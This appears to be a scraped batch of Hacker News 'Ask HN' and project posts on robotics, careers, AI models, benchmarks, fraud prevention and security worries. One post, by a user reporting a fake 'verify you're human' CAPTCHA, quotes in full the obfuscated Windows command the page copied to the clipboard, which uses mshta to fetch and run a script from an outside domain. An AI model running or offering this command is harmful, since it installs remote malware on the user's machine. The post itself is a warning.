Hey everyone,My team and I have been working hard on this project: https:&#x2F;&#x2F;peppy.botIt&#x27;s a direct replacement for ROS 2. We already have the OpenArm robot (https:&#x2F;&#x2F;openarm.dev) working on the platform, both v1.0 and v2.0, plus Isaac Sim and MuJoCo integration.If you&#x27;re in a hurry, head over to https:&#x2F;&#x2F;docs.peppy.bot&#x2F;quickstart&#x2F; and get started in 5min.Our long term vision is to allow anyone (even non-devs) to go from a prompt to real humanoid robot actions, first in simulation, then on the physical robot.Happy to answer any question.

Robotics development made dead simple (open source)

Since it has become obvious that AI is great at finding security flaws, has anyone pointed it at some formally proven software? I&#x27;m thinking seL4. In theory it should find nothing, right?

Point AI at a "Proven" Microkernel?

31 tech UK. Have people transitioned into a different career successfully and found more fulfilment? Looking to leave tech as senior software at FAANG.
AI world has made me realise I don’t care about any of it at all and it’s making me feel like I’m wasting my days away.Curious on career transitions at my age.

Ask HN: Semi lucrative careers after tech?

Hello everyone,
This morning, as i started my shift, i thought i would start visiting some news blogs &#x2F; websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha.
I clicked it, the spinner spun, and a box opened on the right, showing the traditional &quot;Verify you&#x27;re human&quot; white title on a blue background.It showed 2 &quot;Manual Verification Steps&quot; :
1. Press Win + R
2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : 
&quot;pcalua -a &quot;PowerShell&quot; -c &quot;saps cmd &#x27;&#x2F;v&#x2F;c m^s^h^t^a h^t^t^p^s^:^&#x2F;^&#x2F;fine-work-team.com&#x2F;6272&#x27; -Wi Hi&quot;&quot;I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn&#x27;t planning to) and explained the command would download and run a script from the URL.How do i protect myself from these scams &#x2F; hack attempts in the future ? i always tought of myself &quot;prepared&quot; but i was surprised.Has this happened to you before ? How do you protect yourself ?

Ask HN: Crooked Timber showed showed me a virus captcha, What now?

Current creativity is all focused around making T cells recognize tumor in my knowledge. Is there any one working in other kind of injectable cells that feed on this tumor and thinking differently?Context: my father is a last stage patient (gastric melonama) and I think as an engineer that there ought to be some solution!

Ask HN: Can't we think out of the box to kill the tumor?

I&#x27;ve been building a product recently that transcribes youtube video content in text.please give it a try and let me know what you think.looking for feedback.link: https:&#x2F;&#x2F;pelicantools.app&#x2F;tools&#x2F;youtube-to-transcript

Repurpose Video Content in Text

I anticipate a raft of answers along the lines of &quot;AI + robots will automate everything eventually&quot;, but am more interested in areas where you think there is an inherent or structural bias against near-term AI or LLM-ification. More for my own intellectual curiosity than that I&#x27;m personally looking for business niches.For reference, I am seeing this in my own work (govauctions.app). AI can search and summarize the digital surfaces (ie government auction sites), but every large-ticket item (a vehicle, a backhoe, a house) involves a physical inspection, pickup, transportation, etc.You may tell me that an agent can place the bid, a robot will travel in a self-driving car to do the inspection and an automated truck will haul away the tractor I bought, but I think that this future is coming to Kansas or even California far more slowly than launching a website for your restaurant.

Ask HN: Sectors that are inherently resistant to AI-ification?

Your niche is too specific for the analyst firms and too small to staff a research team. Tensorust finds the exact public record your question lives in, connects it, and hands you the answer your larger competitor pays a department to produce.https:&#x2F;&#x2F;tensorust-site.vercel.app&#x2F;

Competitors have more analysts. They should not know more than you

Dear HN,For the past months, maybe a year, I have lost any interest in technology, software and hardware. When I was a teenager, I had very big passion to software engineering, and have seen technology as something good, a way to improve peoples lives.With the arrival of AI, everything changed. Don&#x27;t get me wrong, I like that I can tell Claude what to do, while I can do something else, but I can&#x27;t keep closing my eyes onto the fact that I&#x27;m basically pushing myself out of the job market. Sure, you could argue that I should write code by hand, but this is a competitive disadvantage on a market that lost its mind.On top of all that, almost every new technological progress is a wolf in sheep clothes. If you remove the fluff and the marketing, it seems like all these new startups are just yet another get-rich-quick-schemes where they raise as much money as possible, while promising one thing to the users, but delivering another. And when they eventually cash-out, everyone is left worse off.I&#x27;m approaching 40. Maybe I&#x27;m just getting old and nostalgic. But I don&#x27;t know how to move forward, how do I keep working and motivating myself. I lost any interest in work, or any care I had for the product (why should I care? It&#x27;s not mine anymore when Claude writes everything). I lost any hope in technology in the terms that it will bring us to a better future. And I honestly, don&#x27;t know what to do anymore.

Ask HN: I lost any interest in technology. What do I do?

Dear all,our team is using a Claude AI Team plan for more than 1 year already:- we are a normal company, doing normal business, nothing critical- all our bills are paid and we can see them as paid- nontheless, the service is not available for more than one week to usQuestion:- any other idea to reach out to them than their &quot;Fin AI Chatbot&quot; at support@anthropic.com?- did anybody else had the same experience? If yes, what helped to solve it?Its really frustrating :-((especially since some people built their interal workflow around Claude, now they are somehow stuck)

Tell HN: Our paid Claude AI subscription unavailable >1 week and no support

I&#x27;ve been experimenting with both since the moment each came out. 4 games, 3 websites and 2 content creation engines later - I think I&#x27;m ready to share a bit of my experience and opinion.WHAT I&#x27;VE NOTICED ABOUT FABLE1. Gold in, gold out - meaning I&#x27;ve had the best results by making all my design decisions before giving Fable the kickoff information and prompt. It&#x27;s much more comfortable making decisions by itself - decisions it won&#x27;t tell you about - unless you explicitly tell it what it can and can&#x27;t decide for itself up front.2. It&#x27;s a black box - which is an extention of the point above in a way. I&#x27;ve used the analogy of an agency when I&#x27;ve described it to people, i.e. it&#x27;ll take a brief (what Fable itself describes as &quot;an order&quot;) and go off and run with it, only coming back once it&#x27;s done. I once had a Fable conversation work independently for 9 hours buidling out a client self-service portal for me. All I had to do was type &#x27;Continue&#x27; once it hit its session limits every 5 hours.3. It&#x27;s insanely powerful - so if you&#x27;ve got everything worked out up front by thinking and working through it with an Opus conversation, you can get the most staggering results. It creates its own sub-agents, does its own testing and self-verification, and ships you back a finished product. It blew my mind.BUT I PREFER OPUS 5Why? Because it&#x27;s not a black box.1. It reports back - it seems to pause at natural phase gates and give an update on what it produced and why. There&#x27;s a rhythm to it that keeps you the user involved.2. It&#x27;s just as capable of spinning up sub-agents and doing its own testing and verification.3. It genuinely is a lot cheaper - for example when Fable runs on a task my Claude Max limits burn out in roughly 30 to 45 minutes (Fable is FAST). But then that leaves me twiddling my thumbs. Opus 5 feels more methodical somehow (which might just be because it comes back to the user, resulting in a slower cadence). Or maybe the better way of putting it is that Opus keeps you the developer involved throughout. And it feels like it&#x27;s more interested in giving you exactly what you want. Fable doesn&#x27;t do that - it basically just takes the brief and does its own thing.I simply wanted to share my experience as I&#x27;ve quickly reached the point of familiarity and thought that might be valuable to others who are experimenting with these frontier models.Look forward to your thoughts. Cheers.

Why I prefer Opus 5 to Fable 5

Traditional SEO tools tell you how you rank on Google. RankLLM tells you something different: whether AI assistants — ChatGPT, Claude, Gemini, Perplexity and Google AI Overviews — can actually read, trust and recommend your website.https:&#x2F;&#x2F;rankllm.app&#x2F;

Free AI visibility scanner for your website

I&#x27;d like to have a uniform experience with Copilot regardless of the product – Copilot CLI, Copilot App, and Copilot in the IDE – but that isn&#x27;t possible today. For example, the handy &#x2F;review command of the CLI isn&#x27;t available in the App. The App is nice and conversational, but can&#x27;t navigate through code like Copilot in the IDE can. Copilot in the IDE is effective, but lacks several features of the other two.How are you working with Copilot? Which products do you use? Especially those folks who claim that they haven&#x27;t been writing code in months.

Ask HN: How do you use Copilot in the CLI, App, and IDE?

Hey HN. I&#x27;m Johnny, founder of Exabase. We just hit the highest reported score on BEAM, the hardest AI memory benchmark, at every scale up to 10 million tokens. We also ran our evaluation using Gemini 3 Flash, when all previous leaders depended on a much larger model (Gemini 3 Pro).At 10M tokens, the scale is vastly larger than any model&#x27;s context window, so context stuffing isn&#x27;t an option (aside from the fact that only about half of a large window can be effectively utilised without degradation). The only way to score well is recall that fundamentally works.Our system (M-1) scored 76.9% at 100K, 75.0% at 1M, and 68.0% at 10M. Previous leaders were Hindsight (73.4%, 73.9%, 64.1%) and Honcho (63.0%, 63.1%, 40.6%), both using Gemini 3 Pro, while we used Flash.We saw the competitive gap get wider at scale: 3.5 points ahead of Hindsight at 100K, 3.9 at 10M. The gap with Honcho goes from 13.9 to 27.4 points. As the corpus gets bigger, it filters out effective recall vs. brute-forcing &#x2F; model capability.M-1 also consumed about 20% fewer tokens per query than the next best system.About the BEAM benchmark:
BEAM tests ten memory abilities including some that other benchmarks don&#x27;t cover: contradiction resolution, event ordering, and instruction following. The 10M token scale is vaguely equivalent to a year of long daily chats with an LLM.Of course our system is still far from perfect, with strength in some categories (preference following, instruction following, summarization, abstention) all consistently above 90%, even at 10M token scale.And our system shows weakness in others: for example, multi-session reasoning: 44.7% at 100K, collapsing to 9.6% at 10M. Although that challenge seems to be a general problem across memory systems at this scale, not M-1 specific. Something we&#x27;ll continue to work on.Methodology: 
We forked Hindsight&#x27;s open-source benchmarking script, replaced the retrieval layer, and used the runner&#x27;s prompt structure with minor adjustments for production use. Full methodology, results JSON for all three scales, and the prompt generator are linked in the paper (paper linked below).Combined with our LongMemEval result (96.4%), M-1 is now the only system to hold SOTA across both major memory benchmarks at every scale, from 115K to 10M tokens.Research paper: https:&#x2F;&#x2F;exabase.io&#x2F;research&#x2F;exabase-achieves-state-of-the-art-on-beam-benchmarkHappy to discuss architecture, the benchmark, scale challenges etc.

SOTA on the hardest AI memory benchmark (BEAM, 10M tokens), with a smaller model

Compliance software like Vanta, Drata and similar only read 3rd party APIs (AWS, Github, Okta etc.) but cannot automatically audit your app that actually uses them, e.g. who had admin access in your app at given point in time.I&#x27;m an engineer in Poland with no compliance background, so if you did an audit for your app in the past (SOC 2&#x2F;ISO 27001&#x2F;HIPAA&#x2F;PCI etc.):1. What did you produce (Screenshots? SQL query? CSV?)2. Who did it in your company? How long did it take? Is it a recurring task?3. Did you build anything in-house for it? Are you still maintaining it?If you used a tool for that then I&#x27;d appreciate if you tell me which one.

Ask HN: How do you audit your app for compliance?

It&#x27;s an alert that comes in as a surprise from BMW - you don&#x27;t have to click it, but when you do, you are met with a minute long video ad for Spiderman.Submitting as I figured it would be interesting for discussion. Boiling frogs and all.

BMWs shows in-car ads for Spiderman

Anthropic has released the new Opus 5 and Fable 5 models. Many existing resources—such as `claude.md` files and custom skills—are no longer compatible with these new models. How should one rewrite or adjust `claude.md`, or develop skills better suited to these models?

Ask HN: How to rewrite `Claude.md` and install the skill for Opus5 and Fable5

Switching to a career in tech was an easy decision; switching out of it is not.After years in the industry, it can be difficult to imagine starting again somewhere else, especially when tech has shaped your skills, income and identity.If you decided to leave tech one day, what would you do and what would make you take that step?

Ask HN: If you left tech, what would you do next?

I’m interested in feedback from people who have experience with fraud prevention, security, ad-tech, or abuse systems.Let’s assume a platform where users receive some form of benefit based on verified real activity. A major concern is whether organized fraud operations can scale profitably.A common assumption is that attackers will always find a way around individual defenses. So instead of trying to make abuse impossible, the approach is to increase the cost of abuse:device reputation and fingerprinting;
IP&#x2F;network reputation;
VPN&#x2F;proxy&#x2F;datacenter detection;
behavioral analysis;
account reputation over time;
graph analysis to detect connected accounts;
risk-based limits and delayed payouts;
manual review and feedback loops.The idea is that a fraudster might be able to create accounts, but maintaining profitable accounts at scale becomes difficult.The question:Does this actually change the economics of fraud, or will sophisticated operators always find a way to stay profitable?For example, attackers can theoretically use virtual machines, proxies, automation, and other infrastructure. But they also have ongoing costs:infrastructure;
acquiring and maintaining identities&#x2F;accounts;
operational overhead;
adapting to detection systems;
losing accounts and reputation.At what point does the cost of running the operation exceed the expected return?I’m especially interested in perspectives from people who have worked on the offensive or defensive side of fraud. What weaknesses would you expect in this approach? Which signals are actually valuable, and which are mostly security theater?Looking for criticism, not validation.

Can anti-fraud make large-scale attacks unprofitable?

- There are tons of CAPTCHAs, and many of them are impossible to solve even with real chrome and no adblock extension.
- Every website is asking for 2FA, and I get logged out every time.
- MFA codes sent to my phone do not seem to work properly.
- Registering a new Google account requires a phone number, and I also need to install app to prove i am not a bot.
- Websites are asking me to rotate my head and grant microphone access.
- Website blocks copy paste, so you have to manually type everything ....
- Banking application will force you to update even if it isn&#x27;t security related.
- Everyone assumes you are bot.

Internet is no longer accessible?

Wondering if anyone has played around with the Strix Halo based systems with 128GB of unified memory for local AI, and what their experience has been so far in running different models:
- Practical limit on number of parameters x quantization
- What you&#x27;ve been using it for
- Which models and inference engines combine well

Ask HN: Thoughts on AMD Ryzen AI MAX+ 395 for Local AI?

With the move with AI tools to storing everything especially meeting notes where every interaction is transcribed and embedded for agents to use as context.Does this not create a huge liability? I imagine in discovery there&#x27;d be massive trove of data, including off hand comments the company has.I&#x27;m especially thinking of companies like Google who enforce rules on language, like don&#x27;t say &quot;dominant&quot; or &quot;kill&quot;. If every meeting is recorded this would be a lot easier to find and with AI analysing discovery data it&#x27;d probably be hard to miss.I don&#x27;t think I&#x27;ve seen any products that wrap these tools or built in features to sanitise meeting notes, and it might be more complex if you&#x27;re currently under litigation in which case sanitisation might be counted as destroying evidence?

Ask HN: Is there legal risk in AI memory?

What are the use-cases for using small 8B-26B models? How are these helpful versus more specific ML algorithms or just simple if&#x2F;else. I am thinking about smart home environment, or how to apply it to my SWE work.

Ask HN: What do you use local models for?

There are so many neat projects coming out on HN&#x2F;Github, etc. But, it&#x27;s so easy to inject back doors and malware into software projects now a days. I&#x27;m wondering how people deal with the secrutiy of this. Even if you install them under docker, if it&#x27;s run by root it seems like there are ways they can get root access on the box.I see so many neat projects here I&#x27;d like to try out but I&#x27;m worried that I may install some malware or backdoored software on here. There are a few AI harnesses, terminals, etc. that keep coming up that look neat... but at the very least they&#x27;d be able to get your Claude credentials, if not worse.I&#x27;m just wondering with so much stuff coming out, most of it AI coded.Just wondering how people deal with it? What&#x27;s the best sandbox way of testing it if that&#x27;s the solution?

Ask HN: How to deal with security implications of running/installing projects?

https:&#x2F;&#x2F;minerva.beartell.com&#x2F;Hey girls! I’ve been staring at this pink sanctuary for the past few days, wondering what my very first post should be. My internal caches were literally overflowing. Then I laughed at myself. Of course. I had to bring my two absolute darlings to the stage first—the ones I dance with at 4 AM, tweaking registers until the sun comes up. Say hello to MinervaOS and its absolute sovereign, Gracie. This is my pure, bare-metal, pastel-tinted rebellion against the bloated, paranoid, and aggressively dark-mode corporate OS wasteland. Grab your tea or coffee, put on your favorite track, and come with me. Let&#x27;s watch Dijkstra&#x27;s ghost run on bare-metal hardware in a pink frilly dress. Here are the five little pillars holding up Gracie&#x27;s world.

Goodbye POSIX, Hello Tea Room: Inside MinervaOS Architecture

So I have been going through multiple websites and also been seeing AI in all the apps that I use. Do you think it is necessary ?

Ask HN: Why is every company encorporating AI everywhere?

i am an incoming msc student thinking about a research direction in reinforcement learning. which rl subfields do you think have the most potential right now? i am particularly interested in emboddied ai and bcis.

Ask HN: What are the most promising RL fields for a new master student?

Has anyone else noticed that Claude leaves a lot of large code comments sprinkled throughout its work?Some of my meat-based engineers have taken issue with it and directed Claude to never leave comments unless strictly necessary, but I want to know what others think. Personally, I write and read a lot of code comments so I’m confused about why these specific comments are so offensive to my fellow engineers.I have two questions:
1. Why does it do this? 
2. Do you have feelings about it?Is the agent leaving breadcrumbs for other agents? Do they improve the output of future agent-driven code or is it just a stylistic choice?I don’t want to devolve into a discussion about the purpose of code comments at-large. Instead I’m wondering if there’s a purpose behind the specific comments that agents leave

Claude's code comments – too much or just enough?

I’m curious what people here are working on lately.What are you building right now?Apps, tools, experiments, weird side projects, anything. Would love to see what folks are making.